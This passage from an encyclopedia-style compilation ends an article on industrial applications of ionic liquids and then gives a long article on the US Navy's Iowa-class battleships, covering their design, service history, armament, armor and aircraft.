          Petrochina have announced the implementation of an ionic liquid-based process called Ionikylation. This process, the alkylation of C4 olefins with iso-butane, is retrofitted into a 65,000 tonne per year alkylation plant, making it the biggest industrial application of ILs to date.


          


          Degussa paint additives


          Ionic liquids can enhance the finish, appearance and drying properties of paints. Degussa are marketing such ILs under the name of TEGO Dispers. These products are also added to the Pliolite paint range.


          


          Air products - ILs as a transport medium for reactive gases


          Air products make use of ILs as a medium to transport reactive gases in. Reactive gases such as trifluoroborane, phosphine or arsine, BF3, PH3 or AsH3, respectively, are stored in suitable ILs at sub-ambient pressure. This is a significant improvement over pressurised cylinders. The gases are easily withdrawn from the containers by applying a vacuum.


          


          Linde's IL 'piston'


          Whereas Air Products Gasguard system relies on the solubility of some gases in ILs, Linde are exploiting other gases insolubility in ILs. As mentioned above, the solubility of Hydrogen in ILs is very low. Linde now make use of this insolubility by using a body of ionic liquid to compress Hydrogen in filling stations; and in so doing they reduced the number of moving parts from about 500 in a conventional piston pump engine down to 8.


          


          Nuclear industry


          RTILs are extensively explored for various innovative applications in nuclear industry. It includes application of ionic liquid as extractant/diluent in solvent extraction systems, as alternate electrolyte media for the high temperature pyrochemical processing, etc. Fundamental studies on the extraction cum electrodeposition of fission products like uranium, palladium etc., from spent nuclear fuel using RTILs as extractants are reported. Reports on employing using Ionic liquids as non-aquoues electrolyte media for the recovery of uranium and useful fission products like palladium and rhodium from spent nuclear fuel are also available.Studies on the electrochemical behaviour of uranium(VI) in ionic liquid, 1-butyl-3-methylimidazolium chloride and also the recovery of valuable fission products from tissue paper waste was studied in room temperature ionic liquids..
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              USS Iowa (BB-61) fires her 16-inch/50-caliber guns during a fire power demonstration sometime after her 1980s modernization.
            


            
              	Class overview
            


            
              	Name:

              	Iowa class battleship
            


            
              	Builders:

              	New York Navy Yard

              Philadelphia Navy Yard

              Norfolk Navy Yard
            


            
              	Operators:

              	[image: Naval flag of United States] United States Navy
            


            
              	Preceded by:

              	South Dakota class battleship
            


            
              	Succeeded by:

              	Montana class battleship
            


            
              	In service:

              	22 February 1943 - 17 March 2006
            


            
              	In commission:

              	22 February 1943 - 31 March 1992
            


            
              	Completed:

              	4
            


            
              	Cancelled:

              	Illinois

              Kentucky
            


            
              	Retired:

              	4
            


            
              	Preserved:

              	Iowa

              New Jersey

              Missouri

              Wisconsin
            


            
              	General characteristics
            


            
              	Type:

              	Battleship
            


            
              	Displacement:

              	45,000 tons (standard);

              52,000tons (mean war service);

              58,000tons (full load)
            


            
              	Length:

              	861 ft (262.5 m) between perpendiculars

              890ft (271m) overall
            


            
              	Beam:

              	108ft (33m)
            


            
              	Draught:

              	36ft (11m) maximum
            


            
              	Propulsion:

              	4 screws; geared turbines; 8 Babcock & Wilcox Boilers; G.E. (BB-61;BB-63); West. (BB-62; BB-64; BB-66); 212,000shp (158,000kW)
            


            
              	Speed:

              	33 knots (61 km/h) nominal

              35knots (65km/h) maximum
            


            
              	Range:

              	9,600miles (15,000 km) @ 25knots (46km/h);

              16,600miles (27,000km) @ 15knots (28km/h)
            


            
              	Complement:

              	
                
                  	World War II, Korea and Vietnam

                  2,700 officers and men


                  	During the 1980s

                  1,800 officers and men

                

              
            


            
              	Armament:

              	
                
                  	World War II, Korea, Vietnam:

                  9  16-inch (406mm) / 50 cal. Mark 7 guns

                  20  5-inch (127mm) / 38cal. Mark 12 guns

                  80  40mm / 56cal. Bofors anti-aircraft guns

                  49  20mm / 70cal. Oerlikon anti-aircraft guns


                  	Cold War, Gulf War:

                  9  16-inch / 50cal. Mark 7 guns

                  12  5-inch / 38cal. Mark 12 guns

                  32  BGM-109 Tomahawk cruise missiles

                  16  RGM-84 Harpoon anti-ship missiles

                  4  20mm / 76cal. Phalanx CIWS

                

              
            


            
              	Armor:

              	Belt: 12.1in (310mm),

              Bulkheads: 11.3in (290mm),

              Barbettes: 11.6to 17.3in (295 to 439mm),

              Turrets: 19.7in (500mm),

              Decks: 7.5in (190mm)
            


            
              	Aircraft carried:

              	
                
                  	World War II:

                  3  Vought OS2U Kingfisher/ Curtiss SC Seahawk


                  	Korea/Vietnam:

                  3  helicopters


                  	Cold War/Gulf War:

                  8  RQ-2 Pioneer Unmanned aerial vehicle

                

              
            

          


          The Iowa-class battleships were a planned class of six fast battleships ordered by the United States Navy in 1939 and 1940 to escort the Fast Carrier Task Forces that would operate in the Pacific Theatre of World War II. Four were completed in the early to mid-1940s; two more were laid down, canceled prior to completion, and ultimately scrapped. They comprised the final class of U.S. battleships to be built.


          Built with no regard for cost, the Iowa class was arguably the ultimate in the evolution of the capital ship. The ships topped the Discovery Channel's list of the ten "most fearsome vessels in the history of naval warfare." Yet even as these leviathans entered service, they were being eclipsed by aircraft carriers as the most important naval vessels.


          The Iowa-class battleships served in every major U.S. war of the mid and latter half of the 20th century. In World War II, they defended aircraft carriers and shelled Japanese positions before being placed in reserve at the end of the war. Recalled for action during the Korean War, the battleships provided artillery support for UN forces fighting against North Korea. In 1968, New Jersey was recalled for action in the Vietnam War and shelled Communist targets near the Vietnamese Demilitarized Zone. All four were reactivated and armed with missiles during the 1980s as part of the 600-ship Navy. In 1991, Missouri and Wisconsin fired missiles and 16-inch (406mm) guns at Iraqi targets during the Gulf War. All four battleships were decommissioned in the early 1990s as the Cold War drew to a close, and were initially removed from the Naval Vessel Register; however, at the insistence of the United States Congress, two were reinstated to the Naval Vessel Register for maintenance in the mothball fleet in 1995. These last two battleships were removed from the Naval Vessel Register in 2006.


          


          History


          The Iowa-class battleships were shaped by the Battle of Jutland, by naval treaties signed by various countries during the 1920s and 1930s, and by the need to keep up with aircraft carriers and protect them from aerial attack.


          During the Battle of Jutland in 1916 three Royal Navy battlecruisers were lost due to inadequate armor protection. As a result of this loss, naval architects for the world's major naval powers set out to improve their naval armor to prevent such a loss from recurring, leading to so-called "Post Jutland" hull designs with greater armor protection.


          The Washington Naval Treaty was proposed by U.S. Secretary of State Charles Evans Hughes and forged during a November 1922 conference attended by Great Britain, France, Italy, and Japan. The attending nations agreed to abandon ongoing construction of battleships and battlecruisers, to limit ships to 35,000tons, to cap armament at 16-inch (406mm) cannons, and to limit replacement tonnage. The London Naval Treaty further restricted battleship construction and banned new battleships through 1937. These treaties stopped U.S. construction of battleships and battlecruisers.


          At the Second London Naval Conference in 1935, the Empire of Japan denounced the naval treaty and withdrew its delegates. The other conferees agreed that if Japan did not sign the treaty by April 1937, other nations would be free to build guns up to 16inches (410mm), the maximum size under the Washington Naval Treaty. Tonnage limits would also be relaxed.


          That same year (1935), an empirical formula for predicting a ship's maximum speed was developed, based on scale-model studies in flumes of various hull forms and propellers. The formula used the length-to-speed ratio originally developed for 12-meter yachts: Speed = 1.408 * waterline length, and was later redefined as Capital Ship Speed = 1.19 * Length at Waterline. It quickly became apparent that propeller cavitation caused a drop in efficiency at speeds over 30 knots (55.56 km/h). Propeller design therefore took on new importance.


          In 1936, on the heels of the Empire of Japan's withdrawal from the Second London Naval Conference, President Franklin Roosevelt issued an executive order creating the Battleship Design Advisory Board (BDAB) and charged the new group with developing new battleship designs, in particular for a 45,000-ton battleship. The board, composed of renowned U.S. naval architects and headed by Captain Allan Chantry, played with various designs for the upcoming U.S. fleet of North Carolina and South Dakota-class battleships to help lessen the gap between the U.S. based battleships and those being commissioned in Germany and Japan at the time.


          The United States began building the North Carolina and South Dakota-class battleships in the late 1930s. Designed mostly within treaty limitations, these new battleships could steam at 28knots (52km/h), fast for a battleship but not fast enough to keep pace with the aircraft carriers being planned.


          


          Birth of the Iowa class


          The Iowa class, like the South Dakota class and North Carolina class, began in response to the need for fast escorts for the Essex-class aircraft carriers. Plans for fast battleships that displaced 45,000tons had been under development since 1935, beginning with a study of the idea of creating an extended South Dakota class that would take full advantage of the escalator clause of the Second London Naval Treaty. When the Second Vinson Act was passed by the United States Congress in 1938, the U.S. Navy moved quickly to develop a 45,000-ton battleship that would pass through the 110 ft (34 m) wide Panama Canal. Drawing on the earlier speed equations and a newly developed empirical theorem that related waterline length to maximum beam, the Navy drafted plans for a battleship class with a maximum beam of 108 ft (32.9 m), which when multiplied by 7.96 produced a waterline length of 860 ft (262 m), permitting a maximum speed of 34.9knots (64.6km/h). The Navy also called for the class to have a lengthened forecastle and amid-ship, which would increase speed, and a bulbous bow.


          As with the preceding battleship classes, the Iowa-class battleships were " Panamax" ships built within the size limits required to transition the Panama Canal. The main reason for this was logistical: the largest U.S. shipyards were located on the East Coast of the United States, while the United States had territorial interests in both oceans. Requiring the battleships to fit within the Panama Canal shaved days off the transition time from the Atlantic Ocean to the Pacific Ocean by allowing ships to move through the canal instead of sailing all the way around South America.


          
            [image: USS Iowa transiting the Panama Canal.]

            
              USS Iowa transiting the Panama Canal.
            

          


          Originally, the ships were to mount the Mark 2 16-inch (406mm) / 50- caliber gun, which had been intended to arm the battleships and battlecruisers canceled in 1922. But due to a miscommunication between the Bureau of Ordnance and the Bureau of Construction and Repair that left the ship's barbettes too small, the Mark 2 guns were replaced in the design by the new, lighter Mark 7 16-inch 50-caliber gun. The Mark 7 was heavier and had a greater range than the 16"/45 Caliber Mark 6 guns used on the preceding North Carolina and South Dakota classes. The Mark 7 was originally intended to fire the same 2,240lb (1,020kg) shell as the 16-in/45-caliber gun, but as the design was being completed a new "super-heavy" 2,700lb (1,200kg) shell was developed for both guns. However, the Iowa's armor was only designed to resist 2,240 lb (1,016 kg) shells, as adding armor would have pushed the ship's weight over the 45,000-ton limit.


          At the time the Iowa-class had been cleared for construction, the United States Congress had allocated only enough money to construct the first two ships (Iowa and New Jersey). Congress had not expected the Iowa-class to be so costly; with a price tag of $125 million per ship, the Iowas were 60% more expensive than the previously authorized battleship classes. Moreover, some policymakers were not sold on the U.S. need for more battleships, and proposed turning the ships into aircraft carriers by retaining the hull design but switching their decks to carry and handle aircraft. The proposal to build the Iowas as aircraft carriers was countered by Admiral Ernest King, the Chief of Naval Operations, and Congress' position on the funding for the Iowa-class changed after the Fall of France, when Roosevelt demanded that Congress fund a two ocean navy to meet the threats posed in the Atlantic and Pacific Oceans. Concern over the German invasion prompted Congress to respond by allotting enough money to complete the last four Iowa-class battleships (Missouri, Wisconsin, Illinois, and Kentucky).


          Under the direction of Secretary of the Navy Charles Edison, the design was finalized and a contract was signed with the shipyards in July 1939 for the construction of BB-61, BB-62, BB-63, and BB-64 (all Iowa-class battleships) along with BB-65 and BB-66, the first two ships of the Montana-class of battleships. By 1942, however, the United States Navy shifted its building focus from battleships to aircraft carriers after the successes of carrier combat in both the Battle of Coral Sea, and to a greater extent, the Battle of Midway. As a result, the construction of the U.S. fleet of Essex-class aircraft carriers had been given the highest priority for completion in the U.S. shipyards by the U.S. Navy. The Essex-class carriers required escorts that could steam with the carriers at a comparable speed, which prompted the U.S. Navy to reorder BB-65 and BB-66 as Iowa-class battleships, enabling both battleships to steam at a comparable speed with the Essex-class and provide the carriers with the maximum amount of anti-aircraft protection.


          


          Service history
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              USS Wisconsin as she appeared sometime after her 1980s modernization.
            

          


          When brought into service during the final years of World War II, the Iowa-class battleships were assigned to operate in the Pacific, primarily to provide anti-aircraft screening for U.S. aircraft carriers and perform shore bombardment. Among the Iowas, only USS New Jersey engaged a surface ship during World War II. At the end of the war, Iowa, New Jersey and Wisconsin were decommissioned and placed in the mothball fleet; construction on two uncompleted ships (Illinois and Kentucky) was halted.


          The Iowas were recalled in 1950 with the outbreak of the Korean War, then returned to mothballs after hostilities ceased, in 1955.


          In 1968, due in large part to congressional pressure, New Jersey was recommissioned and sent to assist U.S. troops during the Vietnam War. She did one tour on the firing line, then was decommissioned the following year.


          In the 1980s, the battleships were recommissioned. President Ronald Reagan had vowed to rebuild the U.S. military and create a 600-ship Navy. With the Des Moines-class heavy cruisers worn out, the relatively low mileage Iowas were brought back to fill the offshore bombardment role. The ships also provided a counter to the new Soviet Orlan-class large missile cruisers, better known in the West as the Kirov-class battlecruisers. Each battleship was modernized to carry electronic warfare suites, CIWS self-defense systems, and missiles. They became the centerpieces of their own battleship battle groups (BBBGs). Their missions in the 1980s and early 1990s included the U.S. intervention in the Lebanese Civil War following the 1983 Beirut barracks bombing and the 1991 Gulf War, first as part of Operation Desert Shield and then as part of Operation Desert Storm. Decommissioned for the last time in the early 1990s, the Iowas were split into two groups: those retained in the United States Navy reserve fleets (better known as the "mothball fleet") and those donated for use as museum ships.


          In 1996, the National Defense Authorization Act led Iowa and Missouri to be struck from the Naval Vessel Register. Missouri was donated to the Missouri Memorial Association of Pearl Harbour, Hawaii, for use as a museum ship. Iowa was set to be donated with Missouri, but was reinstated to the Naval Vessel Register after the Strom Thurmond National Defense Authorization Act of 1999 allowed New Jersey to be donated as a museum ship. The last two Iowa-class battleships were removed from the mothball fleet in 2006, and are currently awaiting transfer for use as museum ships.


          


          The ships


          The Iowa-class ships were built to steam at the same speed as the U.S. fleet of Essex-class aircraft carriers. Their main battery and secondary battery guns were designed to take on the ships of the Imperial Japanese Navy, and to shell beachheads in advance of U.S. Army and Marine Corps amphibious assaults. They carried a fearsome array of anti-aircraft guns to defend themselves and their carriers.


          


          USS Iowa (BB-61)
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              USSIowa during the Korean War.
            

          


          Iowa was ordered 1 July 1939, laid down 27 June 1940, launched 27 August 1942, and commissioned 22 February 1943. Iowa conducted a shakedown cruise in the Chesapeake Bay before sailing to Naval Station Argentia, Newfoundland to counter the German battleship Tirpitz. Transferred to the Pacific Fleet in 1944, Iowa made her combat debut in the campaign for the Marshall Islands. The ship escorted U.S. aircraft carriers conducting air raids in the Marianas campaign, then was present at the Battle of Leyte Gulf. During the Korean War, Iowa bombarded enemy targets at Songjin, Hungnam, and Kojo, North Korea. Iowa returned to the U.S. for operational and training exercises before being decommissioned. Reactivated in the early 1980s, Iowa made several operation cruises in European waters. On 19 April 1989, an explosion of undetermined origin ripped through her No. 2 turret, killing 47 sailors. The turret remained inoperable when Iowa was decommissioned for the last time in 1990. In 1999, Iowa was placed in the mothball fleet as a replacement for sister ship New Jersey. Stricken from the Naval Vessel Register on 17 March 2006, Iowa is currently berthed at Suisun Bay in San Francisco, California, pending a decision on requests to turn the ship into a museum ship. 


          USS New Jersey (BB-62)
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              USS New Jersey fires a broadside of 16-inch (406mm) guns
            

          


          New Jersey was ordered 1 July 1939, laid down 16 September 1940, launched 7 December 1942, and commissioned 23 May 1943. New Jersey completed fitting out and trained her initial crew in the Western Atlantic and Caribbean before transferring to the Pacific Theatre in advance of the planned assault on the Marshall Islands, where she screened the U.S. fleet of aircraft carriers from enemy air raids. At the Battle of Leyte Gulf, the ship protected carriers with her anti-aircraft guns. New Jersey then bombarded Iwo Jima and Okinawa. During the Korean War, the ship pounded targets at Wonsan, Yangyang, and Kansong. Following the ceasefire, New Jersey conducted training and operation cruises until she was decommissioned. Recalled for action in 1968, New Jersey reported for duty near the Vietnam DMZ, and remained there until 1969, whereupon she was again decommissioned. Reactivated under the 600-ship Navy program, New Jersey was sent to Lebanon to protect U.S. interests and U.S. Marines, firing her main guns at Druze and Syrian positions in the Bekaa valley east of Beirut. Decommissioned for the last time 8 February 1991, New Jersey was briefly retained on the Naval Vessel Register before being donated to the Home Port Alliance of Camden, New Jersey, for use as a museum ship. 


          USS Missouri (BB-63)
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              USS Missouri in her 1980s configuration
            

          


          Missouri was ordered 12 June 1940, laid down 6 January 1941, launched 29 January 1944, and commissioned 11 June 1944. Missouri conducted her trials off New York and shakedown and battle practice in the Chesapeake Bay before transferring to the Pacific Fleet, where she screened U.S. aircraft carriers involved in offensive operations against the Japanese before reporting to Okinawa to shell the island in advance of the planned landings. Following the bombardment of Okinawa Missouri turned her attention to Honshū and Hokkaidō, shelling the islands and screening U.S. carriers involved in combat operations against the Japanese positions. She garnered international attention in September 1945 when representatives of the Empire of Japan boarded the battleship to sign the documents of unconditional surrender to the Allied powers. After World War II Missouri turned her attention to conducting training and operational cruises before being dispatched to Korea at the outbreak of the Korean War. Missouri served two tours of duty in Korea before being decommissioned in 1956. Reactivated 1984 as part of the 600-ship Navy plan, Missouri was sent on operational cruises until being assigned to Operation Earnest Will in 1988. In 1991, Missouri participated in the Gulf War by firing Tomahawk Missiles at Iraqi target and shelling known Iraqi positions along the coast. Decommissioned for the last time in 1992, Missouri was donated to the USS Missouri Memorial Association (MMA) of Pearl Harbour, Hawaii, for use as a museum ship in 1999; as of 2008 she stands at dock near the USS Arizona (BB-39). 


          USS Wisconsin (BB-64)
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              USS Wisconsin fires a Tomahawk missile
            

          


          Wisconsin was ordered 12 June 1940, laid down 25 January 1942, launched 7 December 1943, and commissioned 16 April 1944. After trials and initial training in the Chesapeake Bay, Wisconsin transferred to the Pacific Fleet in 1944 and assigned to protect the U.S. fleet of aircraft carriers involved in operations in the Philippines until summoned to Iwo Jima to bombard the island in advance of the Marine landings. After the landings on Iwo Jima she turned her attention to Okinawa, bombarding the island in advance of the allied amphibious assault. In mid-1945 Wisconsin turned her attention to pounding the Japanese home islands, a job she retained until the surrender of Japan. Reactivated in 1950 for the Korean War, Wisconsin served two tours of duty assisting South Korean and UN forces by providing call fire support and shelling targets of opportunity. Decommissioned in 1958, Wisconsin was placed in the reserve fleet at the Philadelphia Naval Yard until reactivated in 1986 as part of the 600-ship Navy plan. In 1991, Wisconsin participated in the Gulf War by firing Tomahawk Missiles at Iraqi targets and shelling Iraqi troop formations along the coast. Decommissioned for the last time 30 September 1991 Wisconsin was placed in the reserve fleet until struck from the Naval Vessel Register 17 March 2006. She is currently berthed in Norfolk, Virginia, pending a formal transfer of the battleship for use as a museum ship. 


          USS Illinois (BB-65)
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          Illinois was ordered 9 September 1940 and laid down 15 January 1945. Construction was canceled 11 August 1945 when Illinois was 22% complete. She was sold for scrap in September 1958. Illinois' design called for an all-welded hull, lighter and stronger than the riveted/welded hull of the four completed Iowa-class ships. A proposal to redesign the hull with a Montana-class type torpedo protection system was rejected. 


          USS Kentucky (BB-66)


          Kentucky was ordered 9 September 1940 and laid down on 6 December 1944. Construction was suspended 17 February 1947 when Kentucky was 72% complete. She was informally launched 20 January 1950 to clear a dry-dock for repairs to Missouri, which had run aground. In 1956, Kentuckys bow was removed and shipped in one piece across Hampton Roads, where it was grafted on the battleship Wisconsin, which had collided with the destroyer Eaton. Later, Kentuckys engines were salvaged and installed on the fast combat support ships Sacramento and Camden. Nothing came of several proposals to complete Kentucky as a guided missile ship. Ultimately, Kentucky was sold to Boston Metals Co. for scrap on 31 October 1958. Like Illinois, Kentucky's hull was of all-welded construction, lighter and stronger than the other Iowas, and a proposal to redesign the hull with a Montana-class torpedo protection system was rejected.


          


          Armament


          The Iowa-class battleships were among the most heavily armed ships the United States ever put to sea. The main battery of 16-inch (406mm) guns could hit targets nearly 24miles (39km) away with a variety of artillery shells, from standard armor piercing rounds to tactical nuclear charges called "Katies" (from "kt" for kiloton). The secondary battery of 5-inch (127mm) guns could hit targets nearly 9miles (14km) away with solid projectiles or proximity fused shells, and were equally adept in an anti-aircraft role and for damaging smaller ships. When commissioned these battleships carried a fearsome array of 20mm and 40mm anti-aircraft guns, which were gradually replaced with Tomahawk and Harpoon missiles, Phalanx anti-aircraft/anti-missile gatling gun systems, and electronic warfare suites. By the time the last Iowa-class battleship was decommissioned in 1992 the Iowas had set a new record for battleship weaponry: No other battleship class in history has had so many weapons at its disposal for use against an opponent.


          


          Main battery
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          The primary armament of an Iowa-class battleship is nine 16-inch (406mm) / 50-caliber Mark 7 naval guns, which are housed in three 3-gun turrets: two forward and one aft in a configuration known as "2-A-1". The guns are 66feet (20m) long (50 times their 16-inch (410mm) bore, or 50 calibers, from breechface to muzzle). About 43feet (13m) protrudes from the gun house. Each gun weighs about 239,000 pounds (108,000kg) without the breech, or 267,900pounds (121,500kg) with the breech. They fire projectiles weighing from 1,900 to 2,700pounds (850 to 1,200kg) at a maximum speed of 2,690 ft/s (820 m/s) up to 24nautical miles (39km). At maximum range the projectile spends almost 1minutes in flight. The maximum firing rate for each gun on an Iowa-class battleship is two rounds per minute. When firing two broadside per minute a single Iowa-class battleship can put 36,000pounds (16,000kg) of ordnance on a target per minute, a figure that can only be matched (and in some cases beaten) by a single B-52 Stratofortress of the United States Air Force, which can carry up to 60,000pounds (27,000kg) of bombs, missiles, and mines, or any combination thereof.


          Each gun rests within an armored turret, but only the top of the turret protrudes above the main deck. The turret extends either four decks (Turrets 1 and 3) or five decks (Turret 2) down. The lower spaces contain rooms for handling the projectiles and storing the powder bags used to fire them. Each turret required a crew of 94 men to operate. The turrets are not actually attached to the ship, but sit on rollers, which means that if the ship were to capsize the turrets would fall out. The original cost for each turret was US $1.4 million, but this number does not take into account the cost of the guns themselves.


          The turrets are "three-gun", not "triple", because each barrel can be elevated independently; they can also be fired independently. The ship could fire any combination of its guns, including a broadside of all nine. Contrary to myth, the ships do not move noticeably sideways when a broadside is fired. The guns can be elevated from 5 to +45, moving at up to 12 per second. The turrets can be rotated about 300 at about four degrees per second and can even be fired back beyond the beam, which is sometimes called "over the shoulder." The guns are never fired directly forward because of the shape of the bow and risk that firing the guns forward would damage the ship; in addition to this concern, a satellite up-link antenna was mounted at the bow of each battleship when reactivated in the 1980s.


          


          Secondary battery
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          The secondary battery of the ship consists of 5-inch (127mm) Mark 12 guns in 10 twin mounts, five each to port and starboard, and four Mark 37 Gun Fire Control Systems. These guns were introduced on destroyers in 1934, but by World War II had been installed on nearly every major U.S. warship. The secondary battery was intended to fight off aircraft. Its effectiveness soon declined as Japanese airplanes became faster, then rose again toward the end of the war because of an upgrade to the Mark 37 Fire Control System and the proximity-fuzed 5-inch shells. During the 1980s modernization, four twin mounts were removed to make room for missiles, the two farthest aft and the two at mid-ship on each side. In the Gulf War, the secondary battery was largely relegated to shore bombardment and littoral defense.


          


          Anti-aircraft batteries


          Since they were designed to escort the U.S. fleet of fast attack aircraft carriers the Iowa-class battleships were all outfitted with a fearsome array of anti-aircraft guns to protect U.S. aircraft carriers from Japanese fighters and dive bombers.


          


          Oerlikon 20mm anti-aircraft guns


          The Oerlikon 20mm anti-aircraft gun was one of the most heavily produced anti-aircraft guns of World War II; The US alone manufactured a total of 124,735 of these guns. When activated in 1941 these guns replaced the 0.50"/90 (12.7mm) M2 Browning MG on a one-for-one basis. The Oerlikon 20mm AA gun remained the primary anti-aircraft weapon of the United States Navy until the introduction of the 40mm Bofors AA gun in 1943.


          


          Bofors 40mm anti-aircraft guns
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          Arguably the best light anti-aircraft weapon of World War II, the 40mm Bofors AA gun was used on almost every major warship in the US and UK fleet during World War II from about 1943 to 1945. Although a descendant of German and Swedish designs, the Bofors mounts used by the United States Navy during World War II had been heavily "Americanized" to bring the guns up to the standards placed on them by the US Navy. This resulted in a guns system set to English standards (now known as the Standard System) with interchangeable ammunition, which simplified the logistics situation for World War II. When coupled with hydraulic couple drives to reduce salt contamination and the Mark 51 director for improved accuracy the Bofors 40mm gun became a fearsome adversary, accounting for roughly half of all Japanese aircraft shot down between 1 October 1944 and 1 February 1945.


          


          Phalanx CIWS


          During their modernization in the 1980s each Iowa-class battleship was equipped with four of the United States Navy's Phalanx CIWS mounts, two which sat just behind the bridge and two which were fixed to a platform installed between the ship's funnels. Iowa, New Jersey, and Missouri were equipped with the Block 0 version of the Phalanx, while Wisconsin received the first operational Block 1 version in 1988. Phalanx CIWS mounts were used by Missouri and Wisconsin during the 1991 Gulf War; Wisconsin alone fired 5,200 20mm Phalanx CIWS rounds.


          


          Missiles
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          During the modernization in the 1980s, three weapons were added to the Iowa-class battleships. The first was the CIWS anti-aircraft/anti-missile system discussed above. The other two were missiles for use against both land and sea targets. At one point, the NATO Sea Sparrow was to be installed on the reactivated battleships; however, it was determined that the system could not withstand the overpressure effects from firing the main battery.


          


          Tomahawk land attack missile


          The BGM-109 Tomahawk Land Attack Missile (TLAM) entered U.S. service in 1983. A long-range, all-weather, subsonic cruise missile, the Tomahawk could hit targets 1,350nautical miles (2,500km) away, more than 40 times farther than the 16-inch (410mm) guns' 24-mile (39km) range.


          


          Harpoon anti-ship missile


          For protection against enemy ships, the Iowa class carried Boeing RGM-84 Harpoon anti-ship missiles in four Mk141 shock-hardened quad-cell canister launchers located alongside the aft stack, two launchers per side. At firing, the Harpoon weighs 1,530pounds (690kg), including a booster of about 362pounds (164kg). The cruising speed is Mach 0.87 and the range is 64 nautical miles (119.5 km) in Range and Bearing Launch mode and 85nm (157.4 km) in Bearing Only Launch mode.


          


          Super Rapid Bloom Offboard Chaff system


          During their modernization in the 1980s each of the Iowa-class battleships were outfitted with the Mark 36 Super Rapid Bloom Offboard Chaff (SRBOC) system, enabling the Iowas to carry and fire chaff rockets which, when launched from their tubes, release missile decoys or lures. The decoys/lures are intended to act as an anti-missile shield by providing false targets for an enemy missile to attack. During the 1991 Gulf War, chaff was blamed for a friendly fire incident between the Oliver Hazard Perry-class frigate Jarrett and the battleship Missouri: during an Iraqi missile attack Missouri fired chaff into the air to confuse the incoming missile; however a Phalanx CIWS mount on Jarrett accidentally engaged the chaff fire by Missouri. Rounds from the Phalanx mount on Jarret struck Missouri, causing one minor injury to a crewman on the battleship; fortunately, no serious injuries or damage resulted from the attack.


          


          Armor


          Aside from its firepower, a battleship's other defining feature is its armor. Battleships are usually armored to withstand an attack from guns the size of its own, but the exact design and placement of the armorfactors inextricably linked with the ship's stability and performanceis a complex science honed over decades.


          Unlike modern warships, which operate on the concept of eliminating an incoming threat (anti-ship missiles or enemy aircraft) before the given threat strikes a ship and thus carry lighter armor, the Iowa-class was designed and built in an age when ships were expected to withstand an onslaught of naval shells from enemy ships, emplaced coastal defenses from fortified enemy positions near the coast, and the increasing threat of gunfire and armour piercing/ incendiary bombs dropped by enemy fighter and bomber aircraft. Like most World War II era battleships, the Iowa-class was equipped with class B armor plate designed to a post Jutland design (the "all or nothing" armor scheme), but unlike earlier WWII-era battleship, the Iowas benefitted from advances in steel technology that allowed mills to forge the steel at higher temperatures and heat treatment, which produced a much higher-quality, stronger and more elastic armor. The metal was a nickel-steel compound, classified as a stainless steel, that can bend easily and resists corrosion. Most of the armor was manufactured at Bethlehem Steels main mill in Bethlehem, Pennsylvania, and Luken Steels Coatsville mill just outside Philadelphia, Pennsylvania. The exception was the turret plating, which was forged at a plant built especially for the Iowas: the Charleston Ordnance Works in Charleston, West Virginia.
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          The Iowa-class battleships' armor can be divided into the part above the waterline, which is designed to protect the ship against gunfire and aerial bombing, and that below the waterline, intended to protect the vessel from mines, near-miss bombs, and torpedoes.


          Overall, Iowa-class armor is essentially the same as on the earlier South Dakota-class battleships. Both have an internal main belt, a change from the previous two North Carolina-class battleships that was reluctantly adopted because it was difficult to install and repair. An external belt that could ward off 2,700lb (1,200kg) 16-inch (410mm) shells would have required a belt incline of 19 and a beam too wide for the Panama Canal.


          The underwater armor includes side protection and a triple bottom, both multi-layered systems designed to absorb the energy from an underwater explosion equivalent to 700pounds (320kg) of TNTthe Navy's best guess in the 1930s about Japanese weapons. However, unbeknownst to U.S. Naval Intelligence, the Japanese 610mm (24in) "Long Lance" torpedo carried a 490kg (1,100lb) warhead.


          The Iowa-class torpedo defense is virtually the same as the South Dakota's. Each side of the ship is protected by one tank mounted outside the hull and loaded with fuel oil or other liquid ballast, and an empty inboard tank, all running from the third deck to the bottom of the ship. The liquid tanks are to deform and absorb the shock from the explosion and contain most of the shards from the damaged structure. The inner void is expected to contain any leakage into the interior ship spaces. The armor belt is designed to stop fragments that penetrate the second torpedo bulkhead; however, tests in 1943 showed structural defects in the system.


          


          Aircraft
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          The Iowa class used several types of aircraft for reconnaissance and for gunnery spotting. The early aircraft were floatplanes launched from catapults on the ship's Fantail. They landed on the water, taxied to the stern of the ship, and were lifted by a crane back to the catapult.


          


          Kingfisher


          Initially, the Iowas carried the Vought OS2U Kingfisher, a lightly armed two-man aircraft designed in 1937. The ships typically carried three Kingfishers: two on the catapults and a spare on a trailer nearby.


          The Kingfisher's high operating ceiling made it well-suited for its primary mission: to observe the fall of shot from the battleship's guns and radio corrections back to the ship. The floatplanes also performed search and rescue for naval aviators who were shot down or forced to ditch in the ocean.


          


          Seahawk


          In June 1942, the U.S. Navy Bureau of Aeronautics requested industry proposals for a new seaplane to replace the Kingfisher and Curtiss SO3C Seamew. The new aircraft was required to be able to use landing gear as well as floats.


          Curtiss submitted a design on August 1, and received a contract for two prototypes and five service-test aircraft on August 25. The first flight of a prototype XSC-1 took place 16 February 1944 at the Columbus, Ohio Curtiss plant. The first production aircraft were delivered in October 1944, and by the beginning of 1945 the single-seat Curtiss SC Seahawk floatplane began replacing the Kingfisher.


          


          Helicopters


          Around 1949, helicopters replaced floatplanes on the Iowa class. They operated from atop of Turret 2 until the catapults were removed, allowing helicopter operations to shift to the fantail. The aft guns are forbidden to fire when a helicopter is on the aft deck.


          Helicopters added a logistics role to gunnery spotting and search-and-rescue; they ferried troops and supplies between ships and to and from land bases. Like the seaplanes before them, the helicopters had no hangar facilities, but the Iowas did have support facilities for five types of helicopters: the UH-1 Iroquois, SH-2 Seasprites, CH-46 Sea Knight, CH-53 Sea Stallion and the LAMPS III SH-60B Seahawk.
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          Pioneer


          In December 1983, U.S. aircraft carriers operating off the coast of Lebanon sent out 28 aircraft to bomb targets in the Bekaa Valley in retaliation for anti-aircraft fire directed at F-14 reconnaissance flights operating from the carriers. The main target of the bombing run was a Syrian radar station, but before the aircraft could reach the site, two American planes were shot down by Syrian guns. In an analysis of the incident, U.S. Navy Secretary John Lehman determined that the targeted SAM sites had been within the range of the battleship New Jersey and her 16-inch (410mm) guns, but there had been no way for the battleship to accurately target the sites without an aerial observer to direct the ship's rounds to the target.


